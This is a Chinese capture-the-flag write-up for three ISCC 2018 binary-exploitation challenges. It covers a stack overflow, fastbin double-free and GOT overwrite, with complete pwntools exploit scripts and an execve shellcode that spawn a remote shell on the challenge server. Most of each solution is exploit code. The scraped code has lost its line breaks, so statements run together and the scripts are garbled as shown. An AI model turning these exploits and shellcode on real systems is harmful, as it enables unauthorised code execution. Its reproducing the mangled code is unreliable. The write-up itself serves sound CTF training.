1.Login [分值:200]--年轻人的第一道PWN

漏洞位置:

漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值。

此函数中存在一个可能执行system命令的地方。0x0040084A

利用思路:

1.Menu函数read时覆盖Menu的返回地址到0x0040084A。 选择选项为1

2.进入ExecCmd函数输入命令"/bin/sh"

3.回到Menu函数执行发送命令"3" 退出Menu函数。此时程序就会跳到0x40084A执行system("/bin/sh").

poc:

from pwn import *
import binascii
import timeg_local=False
#context.log_level='debug'sh=0
if g_local:sh=process("./pwn50")
else:sh=remote("47.104.16.75",9000)def login():print sh.recvuntil(': ')sh.sendline("admin")print sh.recvuntil(': ')sh.sendline("T6OBSh2i")print sh.recvuntil(': ')def test():login()#Overwrite the return address by system callpaload='1'*16*5+p64(0)+p64(0x40084A)sh.sendline(paload)print sh.recvuntil(': ')#send "/bin/sh"sh.sendline("/bin/sh")print sh.recvuntil(': ')#run system("/bin/sh")sh.sendline("3")sh.interactive()

成功执行:

2.Write some paper [分值:200]

漏洞位置:

free的时候,没有清空指针,可。。。。。。。。。

ISCC一上线,所有上网的人便都看着他笑,有的叫道,“ISCC,你又处新题了!”他不回答,对柜里说,“加两道web题,再来一个Reverse。”便排出九文大钱。他们又故意的高声嚷道,“你出的题又被秒了!”ISCC 睁大眼睛说,“你怎么这样凭空污人清白……”“什么清白?我前天亲眼见你PWN题目一上线,就被网友吊着打。”ISCC便涨红了脸,额上的青筋条条绽出,争辩道,“PWN题怎么秒杀……PWN!……程序猿的事,能算秒杀么?”接连便是难懂的话,什么“Double Free”,什么“Use after Free”之类,引得众人都哄笑起来:网内外充满了快活的空气。

没搞定。。。以后更新。

20180526更新,看了别人的writeup。https://www.colabug.com/2955477.html

原来伪造的堆块是直接放在got表中。

fastbin attack .  参考文章:

https://blog.csdn.net/qq_29343201/article/details/72627537

https://segmentfault.com/a/1190000005183474

再分配的时候只检查了size,也不要求对齐。

fastbin attack基本信息利用类型: 堆利用
堆利用类型: 针对fastbin的利用
利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点需要能够两次free同一个chunk
更改fd的时候,为了能够在之后的malloc之后返回这个值,需要通过一个check,会检查fd指向的这个位置的size(这个位置可以不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息fast bin的free检查了比较多的东西,所以这里就不再都贴出来了,其漏洞的主要原因在于fastbin
的实现其实是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话,
只要不是连续的free两次同一个chunk,就可以顺利的将一个chunk放进free list。之后的分配会使得
chunk虽然在free list里,但是也被分配了出来,这样就可以更改到fd指针,使其指向其他位置。检查栈顶的代码如下:/* Check that the top of the bin is not the record we are going to add(i.e., double free).  */if (__builtin_expect (old == p, 0)){errstr = "double free or corruption (fasttop)";goto errout;}需要注意的一点是,在分配的时候还有一个检查:if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)){errstr = "malloc(): memory corruption (fast)";errout:malloc_printerr (check_action, errstr, chunk2mem (victim), av);return NULL;}check_remalloced_chunk (av, victim, nb);这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,比如size都为0x20大小的
fastbin,能够接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当做size),
否则将会出现memory corruption。所以利用的时候需要想办法找到一个相应的size,这个size其实是不需要对齐的,所以可以通过
错位的方式构造一个假的size值出来。找到相应的size就可以进行分配到相应位置了。

原来一直以为是要分配在栈上。

找到另外一份writeup,确实是分配在栈上的。

#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *from time import sleepimport syself = ELF("./pwn3")context.log_level = "debug"io = process("./pwn3")libc = elf.libc
#raw_input("run ida......")def DEBUG():raw_input("DEBUG: ")gdb.attach(io, "b *0x400B26")def add(idx, length, content):io.sendline("1")print io.recv(200)io.sendline(str(idx))print io.recv(200)io.sendline(str(length))print io.recv(200)io.sendline(content)print io.recv(200)def delete(idx):#io.sendlineafter("2 delete papern", "2")#sleep(0.01)#io.sendlineafter(":", str(idx))#sleep(0.01)io.sendline("2")print io.recv(200)io.sendline(str(idx))print io.recv(200)#伪造chunk在got表def test1():print io.recv(200)print "xxxxxx"fakeChunk = 0x602030+2add(0, 0x30, '0000')         #chunk0=0x1691010add(1, 0x30, '1111')         #chunk1=0x1691050delete(0) # 0delete(1) # 1 -> 0
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691050    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691060    10 10 69 01 00 00 00 00  00 00 00 00 00 00 00 00  ..i.............
1691070    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691080    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691090    00 00 00 00 00 00 00 00  71 0F 02 00 00 00 00 00  ........q.......delete(0) # 0 -> 1 -> 0
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    50 10 69 10 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691050    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691060    10 10 69 01 00 00 00 00  00 00 00 00 00 00 00 00  ..i.............
1691070    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691080    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691090    00 00 00 00 00 00 00 00  71 0F 02 00 00 00 00 00  ........q.......# 0 -> 1 -> 0 -> fakeChunk  返回chunk0 的地址add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk   ptr=1691020
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    32 20 60 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................add(1, 0x30, '1111') # 0 -> fakeChunk                ptr=1691060add(2, 0x30, '2222') # fakeChunk                     ptr=1691020
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    32 32 32 32 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................//值被改了但是fastbin中还保存者 0x602032
602032 40 00 00 00 00 00 56 07  40 00 00 00 00 00 1B 5F
602042 37 7F 00 00 40 C7 17 5F  37 7F 00 00 86 07 40 00
602052 00 00 00 00 C0 73 19 5F  37 7F 00 00 30 01 1E 5F
602062 37 7F 00 00 70 BE 1C 5F  37 7F 00 00 D0 74 1C 5F
602072 37 7F 00 00 D6 07 40 00  00 00 00 00 00 00 00 00
602082 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
602092 00 00 00 00 00 00 00 00  00 00 00 00  #  payload = 'aaaaaaaabbbbbbbbccccccccdddddddd'payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2#  DEBUG()
    io.sendline("2")

add(3, 0x30, payload) #ptr=602042

got.plt:0000000000602018 off_602018 dq offset cfree              ; DATA XREF: _free↑r
.got.plt:0000000000602020 off_602020 dq offset _IO_puts           ; DATA XREF: _puts↑r
.got.plt:0000000000602028 off_602028 dq offset fread              ; DATA XREF: _fread↑r
.got.plt:0000000000602030 off_602030 dq offset loc_400746         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000602038 off_602038 dq offset loc_400756         ; DATA XREF: _system↑r
.got.plt:0000000000602040 off_602040 dq 1800h                     ; DATA XREF: _printf↑r
.got.plt:0000000000602048 off_602048 dq 0                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000602050 off_602050 dq 0                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0000000000602058 off_602058 dq offset gg                 ; DATA XREF: _strtol↑r
.got.plt:0000000000602060 off_602060 dq offset gg                 ; DATA XREF: _malloc↑r
.got.plt:0000000000602068 off_602068 dq offset unk_7F375F1CBE00   ; DATA XREF: _setvbuf↑r
.got.plt:0000000000602070 off_602070 dq offset __isoc99_scanf     ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000602078 off_602078 dq offset loc_4007D6         ; DATA XREF: _exit↑r
.got.plt:0000000000602078 _got_plt ends
    io.interactive()#io.close()# flag{ISCC_SoEasy}#伪造chunk在栈上def test2():print io.recv(200)#一次最多接收48个字符,一次性提交3组错的,第三次打印出来的是栈地址io.sendline('a'*48*3)data=io.recvuntil('\x7f')stack=data[-6:]+'\x00\x00'stack_addr=u64(stack)print "stack addr:",hex(stack_addr)add(5,32,"aaaa")add(6,32,"aaaa")delete(5)delete(6)delete(5)#io.recv(200)io.sendline("3")io.recv(100)io.sendline(str(49))add(5,32,p64(stack_addr+96))add(6,32,'a'*32)add(6,32,'a'*32)add(6,32,'a'*8+p64(0x400943))io.sendline("6")io.interactive()test1()

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/

3.Happy Hotel  [分值:300]

漏洞位置:

第一个漏洞,buffer 48个字节,读了48字节,之后紧跟一个prinf。如果最后一字节不是\n的话,就不会变成0,这样打印的时候就会把后边的内容打印出来。紧跟着的就是rbp.

这个漏洞很明显buf空间只有56字节,然而读了0x40(64)字节,这样read的时候,如果传入64个字符就会把dest的值覆盖掉。

等strcpy时候就能任意地址写内容。

然而,发现了这些漏洞,缺依旧没有做出来,一直想着执行system("/bin/sh")拿shell.

然而找不到泄漏函数地址的地方,也没找到合适的执行的地方。。。

知道搜索了  pwn who are u 就找到了答案。

https://blog.csdn.net/qq_33528164/article/details/79681606

这题也是抄的,基本上没有变化。

按照题目中内容执行shellcode 就OK。

思路就是把free的函数地址改到shellcode的地方,然后执行shellcode .

1.who are u?时发送shellcode,根据泄漏的rbp地址计算shellcode地址。

2.利用strcpy 把free的函数地址改写到shellcode地址。

3.执行free。即执行shellcode.

from pwn import *
import binascii
import time
import structg_local=True
context.log_level='debug'sh=0
free_got=0x602018
if g_local:sh=process("./pwn200")#elf = ELF('./pwn200')#free_got = elf.got["free"]#print_log("attch by ida.....")raw_input("ida has attch? Press any key for continue...")
else:sh=remote("47.104.16.75",8997)shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():print sh.recv(100)sh.send(shellcode+'a'*(48-len(shellcode)))  #发送shellcodeif not g_local:print sh.recvuntil("\n")str_recv=sh.recv(256)print "return",str_recv,repr(str_recv)str_stack=str_recv[48:48+6]                #接收print 输出  获取rbp地址print str_stackstr_stack+="\00\00"ebp,=struct.unpack("Q",str_stack)print "Stack address:%08x"%ebpoffset=0x50shellcode_addr=ebp-offsetprint "shellcode_addr = " + hex(shellcode_addr)sh.sendline('0') #idprint sh.recvuntil('\n')payload = p64(shellcode_addr)#the juck data must be '\x00' in the got!sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))   #strcpy(free_got,payload)sh.recvuntil('choice :')sh.sendline('2')sh.interactive()test2()

执行过程:

printf 执行完,计算shellcode地址:

read前:

read之后:

dest变成602018:

执行strcpy,free_got变成shellcode地址。

接着执行free操作,进入shellcode执行。

成功获取到shell。

其他的shellcode  http://www.bubuko.com/infodetail-640711.html.

方法2:

1.第一步,发送shellcode,利用printf漏洞得到栈地址。同上。

2.执行到函数400A92.

伪造一个chunk。

    #32bytes padding +prev size +size +padding +fake_addrdata = p64(0) * 4 + p64(0) + p64(0x41)      # no strcpydata = data.ljust(56, '\x00') + p64(fake_addr)print datash.send(data)

这些数据copy到0x7fff08521a00. dest设置为0x7fff08521a30.

位置0x7fff08521a20.为位置的chunk.

strcpy执行的时候,由于第一个字节为0,因此什么也没复制。 strcpy(0x7fff08521a30,0x7fff08521a00).

此时ptr中值为0x7fff08521a30。

接着执行free(ptr). 伪造chunk的地址会被加入fastbin中。

    sh.recvuntil('choice : ')sh.sendline('2')     # free(fake_addr)

然后申请一个同样大小的空间。

sh.recvuntil('choice : ')sh.sendline('1')     #malloc(fake_addr) #fake_addrsh.recvuntil('long?')sh.sendline('48')    # 48 + 16 = 64 = 0x40sh.recvline('48')    # ptr = malloc(48)data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addrdata = data.ljust(48, '\x00')

malloc 返回地址0x7fff08521a30.  然后写入data,会把返回值地址改成shellcode地址。

from pwn import *
import binascii
import time
import structg_local=True
context.log_level='debug'sh=0
free_got=0x602018
if g_local:sh=process("./pwn200")#elf = ELF('./pwn200')#free_got = elf.got["free"]#print_log("attch by ida.....")raw_input("ida has attch? Press any key for continue...")
else:sh=remote("47.104.16.75",8997)shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():print sh.recv(100)sh.send(shellcode+'a'*(48-len(shellcode)))if not g_local:print sh.recvuntil("\n")str_recv=sh.recv(256)print "return",str_recv,repr(str_recv)str_stack=str_recv[48:48+6]print str_stackstr_stack+="\00\00"ebp,=struct.unpack("Q",str_stack)print "Stack address:%08x"%ebpoffset=0x50shellcode_addr=ebp-offsetprint "shellcode_addr = " + hex(shellcode_addr)sh.sendline('0') #idprint sh.recvuntil('\n')payload = p64(shellcode_addr)#the juck data must be '\x00' in the got!sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))    sh.recvuntil('choice :')sh.sendline('2')sh.interactive()def test3():print sh.recv(100)sh.send(shellcode+'a'*(48-len(shellcode)))if not g_local:print sh.recvuntil("\n")str_recv=sh.recv(256)print "return",str_recv,repr(str_recv)str_stack=str_recv[48:48+6]print str_stackstr_stack+="\00\00"ebp,=struct.unpack("Q",str_stack)print "Stack address:%08x"%ebpoffset=0x50shellcode_addr=ebp-offsetfake_addr=ebp-0x90print "shellcode_addr = " + hex(shellcode_addr)sh.sendline("32")sh.recv(100)#32bytes padding +prev size +size +padding +fake_addrdata = p64(0) * 4 + p64(0) + p64(0x41)      # no strcpydata = data.ljust(56, '\x00') + p64(fake_addr)print datash.send(data)sh.recvuntil('choice : ')sh.sendline('2')     # free(fake_addr)sh.recvuntil('choice : ')sh.sendline('1')     #malloc(fake_addr) #fake_addrsh.recvuntil('long?')sh.sendline('48')    # 48 + 16 = 64 = 0x40sh.recvline('48')    # ptr = malloc(48)data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addrdata = data.ljust(48, '\x00')sh.send(data)sh.recvuntil('choice')sh.sendline('3')sh.interactive()test3()

ISCC 2018 PWN WriteUp相关推荐

  1. ISCC 2018 Reverse WriteUp

    1.RSA256 [分值:100] 问题描述: RSA 题目已说明是RSA算法. 附件中共有四个文件. 3个加密后的信息,一个公钥,公钥内容如下: -----BEGIN PUBLIC KEY----- ...

  2. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  3. ISCC 2019 部分 Writeup

    文章目录 ISCC 2019 Writeup Misc 1. 隐藏的信息(50) 2. 最危险的地方就是最安全的地方(100) 3. 解密成绩单(100) 4. Welcome(100) 5. 倒立屋 ...

  4. ISCC部分pwn题解

    前言 菜的扣脚的pwn手,整了四个题,实在是菜,感觉在学校没法把心静下来写blog...寒假完美完成了假期前的flag.但是到现在开学立的flag一个都没完成....... 先把exp和分析过程贴上, ...

  5. GXNNCTF 2018 We_ax WriteUp 第三届南宁市网络安全技术大赛

    By:桂林电子科技大学We_ax战队 Web 超简单 分值:100 类型:WEB 已解决 题目:超简单的web题  http://gxnnctf.gxsosec.cn:12311/ 看到ereg函数, ...

  6. [ISCC 2023] pwn部分

    这个时间太长了,后来出的题不会作,再后来都不想作了.最后差练武题最后一个和擂台最后一个,再后来就没上,不清楚后来还有没有题. 时间比较长有些题都不好找了,找着也忘得差不多了,尽量补齐吧. Double ...

  7. buuoj Pwn writeup 166-170

    166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...

  8. [BUGKU][CTF][PWN][2020] PWN writeup

    准备UBUNTU pwndbg pwntools PWN1 关键字:nc 知识点:nc使用方法 https://www.cnblogs.com/nmap/p/6148306.html nc命令是一个功 ...

  9. buuoj Pwn writeup 106-110

    106 zctf2016_note2 保护 菜单堆. new 最多申请4个. 然后里面有个神奇的函数 会把里面的%剔除掉. 申请的chunk最大也只能是fastbin范围的chunk. ptr地方是指 ...

最新文章

  1. Django - - 进阶 - - 同源策略和跨域解决方案
  2. mysql系统云结构图_腾讯梁定安解密织云系统!(附架构图)
  3. Android应用开发:网络编程-1
  4. canvas学习之API整理笔记(一)
  5. android黑科技系列——爆破一款应用的签名验证问题
  6. spark上运行xgboost-scala接口
  7. Transaction处理中的权限控制
  8. 创建型模式——工厂模式
  9. python中的super用法详解_Python中super函数用法实例分析
  10. 这份1307页Android面试全套真题解析,源码+原理+手写框架
  11. Web前端开发:SQL Jsp小项目(一)
  12. PTA22、最小乘积(基本型) (10 分)
  13. NI myRIO-1900(ARM9)嵌入式小车2015.8-9
  14. k8s调度 原理_开源爆款,阿里P7技术笔记《k8s+docker》,图文并茂,理论与实战齐飞!...
  15. 坚定信心,持有002096岭南民爆!
  16. es6解构--简化代码
  17. Python——KMeans(k均值聚类)实战(附详细代码与注解)
  18. Caffe学习:pycaffe利用caffemodel进行分类=裁剪图片
  19. 01-jbpm工作流实现
  20. 软件测试仓库管理信息系统,仓库管理系统测试报告

热门文章

  1. Python自动化整理文件“大升级”,任意路径下文件,都给你整理的明明白白!...
  2. 【Linux分组权限】linux下创建用户分组及设置分组权限
  3. 让行动持续下去的动力-《刻意练习》读后感
  4. 【python】删除excel表格重复行,数据预处理
  5. 将Carte部署为Windows服务
  6. 家政预约系统开发作用和步骤
  7. nested exception is io.lettuce.core.RedisCommandExecutionException: ERR invalid expire time in setex
  8. 股票账户各权限开通条件总结【干活总结】
  9. Typora初步学习
  10. 做数据分析如何从囚徒困境到合作的进化